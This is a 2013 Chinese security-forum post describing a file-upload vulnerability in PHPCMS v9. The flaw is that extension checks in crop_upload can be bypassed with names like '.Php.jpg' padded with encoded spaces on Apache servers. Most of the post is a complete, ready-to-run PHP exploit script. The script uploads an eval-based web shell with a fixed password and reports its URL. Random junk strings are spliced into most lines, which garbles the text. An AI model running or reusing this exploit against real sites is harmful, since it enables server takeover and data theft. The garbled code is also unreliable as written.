找回密码
 立即注册
查看: 2479|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
8 w  S& S6 g# J: B: I: V2 p* {
0 J0 a0 @# _! ]! {5 V简要描述:2 ~% s& ^% a( _! p

, H$ ^/ _1 b2 \- a( j' q0 u3 Y2 aphpcms v9 getshell (apache)" H  m! q. s! m: W) S9 T
详细说明:0 [& O7 ~  x& A/ o# M  }& b, _

) |0 w0 C1 @0 g+ I漏洞文件:phpcms\modules\attachment\attachments.php2 m& |0 I+ g) N2 z/ W0 Z

( Q6 A! P% k. U: q" s7 H6 bpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } % z, i& v  W* r- `* Y+ e3 q
后缀检测:phpcms\modules\attachment\functions\global.func.php
! k( e8 |. U; Z% ^. B
/ S# u- C  g. k# ~" _5 g0 B. q
! h1 K9 ^0 k- o( l
, k6 n  f( ^& m" F- _8 xfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
# S& W' D! P$ U& [( I) t
$ T# E% |' U2 w6 D* O) H关键函数:1 C2 R1 J$ y) Z0 g' w

8 G% r3 z0 _9 r2 j3 O  _ & `" h7 ~- F' d: ~8 ?+ I
( H1 }* N  i8 o, Z. g; ~
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
/ E$ j& F# R( I- [$ M+ c) Z/ z$ k& K0 J/ G  k
  Fileext函数是对文件后缀名的提取。
$ G: T' L$ ~! h  V' O5 j' E0 u根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
- o  _; p- n2 W( O3 f. y; q经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。1 o/ e, x% u; J, r5 o
我们回到public function crop_upload() 函数中
% z1 w& z( V! `7 I  Dif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();. w( Z' K7 i! Y, E4 x
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数& N- H2 i1 d0 M7 ?1 R% g
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
. a1 B- [" B1 q9 B经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。# t+ x4 j# e3 o
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
! ^& G$ |+ p& R( Y2 ]- M6 C3 S看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
1 ]  P' d# C+ O  a. m3 y* ]漏洞证明:
, |+ M) Z2 H0 @% S% ~" w# G5 r; `. c# w# Z) E$ e- i
exp:% U8 c) T- L" K. B
1 C( H$ w: _  V& o5 X% |
<?php' f; o  B& K0 D# N" `. Y
error_reporting(E_ERROR);2 i+ n) p, a; u2 Y. p- C  C5 a
set_time_limit(0);8 W) S+ {8 b" S& Y9 Y* t
$pass="ln";& a! B0 p% h* C% e
print_r('
7 i4 u/ x! M/ M& }+---------------------------------------------------------------------------+
8 g/ {' F* v$ P1 J3 O& |PHPCms V9 GETSHELL 0DAY
* n6 }5 F! v0 u: x) acode by L.N.
0 e$ i, c- L6 w; _
/ c/ ~) p$ S4 p& @4 r% Uapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net; }2 c" N2 p' w/ w. W
+---------------------------------------------------------------------------+% S0 E( F8 @- F% Q
');
$ n; l7 W+ u. ~1 Y. i: G: Y# B! fif ($argc < 2) {* z  \& S6 {) H( L
print_r('
# U0 h7 J9 t* _4 D+---------------------------------------------------------------------------+& _/ h% @6 u+ L# c: `3 N
Usage: php '.$argv[0].' url path: x1 I- p# O8 P5 z6 s' n, w
! s" d' ~. O8 j7 r8 g, J
Example:" k  I( Q7 o0 z2 x$ R
1.php '.$argv[0].' lanu.sinaapp.com
) i4 `/ ^0 G6 B2.php '.$argv[0].' lanu.sinaapp.com /phpcms
2 b7 V# O2 Q$ `- ^5 F+---------------------------------------------------------------------------+
5 i/ I# d. m4 u/ Z8 l1 Q');* u4 X2 J7 v- P: H
exit;
6 _1 B5 X( }+ e}% W5 \: L  T/ C9 r( t' i/ i

& P- T% n" i4 b+ G# o7 a2 `: h$url = $argv[1];
( B9 k: O$ A% V+ b/ h$path = $argv[2];5 T& }: ^) M6 q$ o9 k' [! L
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
- N8 e$ n+ l! r  ]# _6 M" t5 O$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
  t' S* {* e% F0 f0 e; vif($ret=Create_dir($url,$path))
$ V; J* F# x2 [. j. a. @& l{, t; q& s  f5 y; Z1 M4 l7 V
//echo $ret;- c3 ~8 ^5 q1 l$ r1 r' z
$pattern = "|Server:[^,]+?|U";# A0 f& ?5 `9 g3 m( o
preg_match_all($pattern, $ret, $matches);! ~% z" Z  y5 G$ C
if($matches[0][0])" _4 ^4 m8 x: L: y% g; y) F  A
{
( K+ R( w  F7 f" a' K, Xif(strpos($matches[0][0],'Apache') == false)9 z; ^( g5 m- q
{+ n- |4 F% s- `5 b  ]: M
echo "\n亲!此网站不是apache的网站。\n";exit;' T% G( u2 t$ u, y$ q; V
}
! W! w( W* y7 x: f6 a4 B}
/ I- t6 Q: Z4 B0 @" H$ret = GetShell($url,$phpshell,$path,$file);
" g) \3 |! J% w. z* v& }5 D) |$pattern = "|http:\/\/[^,]+?\.,?|U";- u" S& X  P+ |1 S/ U2 s
preg_match_all($pattern, $ret, $matches);  b9 S0 o6 e0 @
if($matches[0][0])
! p* {. H5 c4 W" R4 @) A1 v1 t; B{
" l& _! [+ o8 W6 V$ }5 M6 _) Xecho "\n".'密码为: '.$pass."\n";, B8 N( I" o3 `! w' [2 W" g
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;% N4 X% _" e9 I; u1 }: n( w+ ]- `
}. Z4 O5 F2 Q$ l! V
else; {# O  m% U, m8 F! F2 i: D: n; C
{& H; U  m0 B3 \# M# Q7 @& T$ M
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
3 w- \8 [6 y) h: j& s  o& ?preg_match_all($pattern, $ret, $matches);
( E. z( N1 D9 v  Y# }6 u! L! tif($matches[0][0])
. `7 d) }! {, M. \6 ]( s9 _{# B  H  M" _! w1 c
echo "\n".'密码为: '.$pass."\n";
4 W2 E' o' x& Q, [: b4 Yecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;, X; u/ [: _, J! b; \% G8 K1 K
}6 u* g: E8 f1 V# d7 j
else
+ e' v% }% ^3 h6 k{) Q- O& S6 r3 y/ Y2 g
echo "\r\n没得到!\n";exit;. T$ a& w2 T# \* |
}
- q( A* i8 Q2 Z# ?: _$ M}" P3 h2 k# p. Z# R1 l
}
) P$ ~9 b# X1 {8 r1 H" s: F7 U0 [! p0 F' p$ I" W, l4 c
function GetShell($url,$shell,$path,$js)
6 m+ g; \+ R6 C+ j+ C{+ R6 w; f* n' e% t+ \
$content =$shell;
2 D3 e) s2 w. ], i4 c! O$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
1 e' y2 \/ E: _0 u$data .= "Host: ".$url."\r\n";! [$ Q/ L6 u" g6 u. {( \) u
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
# ?  C& o3 ~) _2 L! Y$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";( W7 j, e+ g" r7 P
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
9 C: L& a4 L+ x( V8 n" e) N1 f$data .= "Connection: close\r\n";
: s8 k2 S( {2 |# l; o* d$data .= "Content-Length: ".strlen($content)."\r\n\r\n";9 [1 Y" ^" _5 t  G* |$ K
$data .= $content."\r\n";* }. O2 x2 S/ t. `: w. o
$ock=fsockopen($url,80);
! l( g6 `! X* u; Mif (!$ock)" u5 V, Z7 Q1 e
{
( B3 D& H' Q7 ~, c- A! ?4 X, J: O) x/ ^echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
5 Q9 o& D# G' R9 x! e+ @% j- b}
7 l" W& P0 ^- kelse+ J, |9 u* e- z/ Y5 P% f. h
{' ^1 p; t# L. a7 ?3 ^
fwrite($ock,$data);8 a5 m4 L# _  H: p' \2 e
$resp = '';' C5 L" P( b% K( k3 y$ F+ v0 x0 k
while (!feof($ock))
9 X$ r5 Y- L/ T( T2 c9 F/ K{
: d6 @) U$ _4 q+ N2 x2 `! l$ E$resp.=fread($ock, 1024);1 U3 Q2 `% G& G" c( g, s
}
3 M- D9 x# Q; @) t0 m% }; V5 Q% [$ V5 Breturn $resp;% [, _7 @- W5 @" n) e- g: x
}8 V2 k; X5 N7 g9 k! t
}# B3 `. I% T) J
' _; X7 F6 q5 X6 x) ~
function Create_dir($url,$path='')) B3 R# n6 F. v+ A4 O
{8 v/ G4 m5 X" L
$content ='I love you';/ O) L) }/ e; A
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
  t6 j. [; W8 W& D0 _3 f/ Y; l$data .= "Host: ".$url."\r\n";4 Q$ l: y0 @+ D6 }4 o" e' a; Z$ T7 t
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
  p4 c2 Z! c% w/ ~. L' y, b$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
! I# @6 M8 Y2 R3 t$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
' _- M, R) T! @) W$data .= "Connection: close\r\n";
) X0 N0 L" c% `$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
9 T" u' Z: t2 X# _: C$data .= $content."\r\n";( m% B5 a  J( s& F6 H' N
$ock=fsockopen($url,80);' c$ ?3 K: j# Q0 U3 c
if (!$ock)! R' C1 \7 J; b$ I8 `
{
. h; H8 X3 z  `echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;0 f  H; B* j. {( J$ v2 c0 X) E- w
}, t* O7 _5 W+ E# ~& k8 ]3 L
fwrite($ock,$data);
4 Q' f2 Q9 x& W6 d: d4 r! \$resp = '';
7 h; l' b; z( l! z2 jwhile (!feof($ock))1 _3 X" q7 b5 L2 d, k8 f
{$ q" e. W7 L, r: ]+ P3 Y! x
$resp.=fread($ock, 1024);9 a5 ^  q  B  D& r% N
}
" _4 v) u, K* q. P: nreturn $resp;
9 y/ f5 S2 B6 B" W}
( L- R' B3 t: O6 d?> . U* R3 {  M) A8 `
" ^% ?7 X4 _3 d  ^$ B' i4 ^
修复方案:
: G( Q, t, n: G5 R8 g& \
% o* V/ I+ H# T过滤过滤再过滤+ V& p6 \+ h1 ]% M3 ~- f

  f; o7 c* x& a# l5 h$ ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表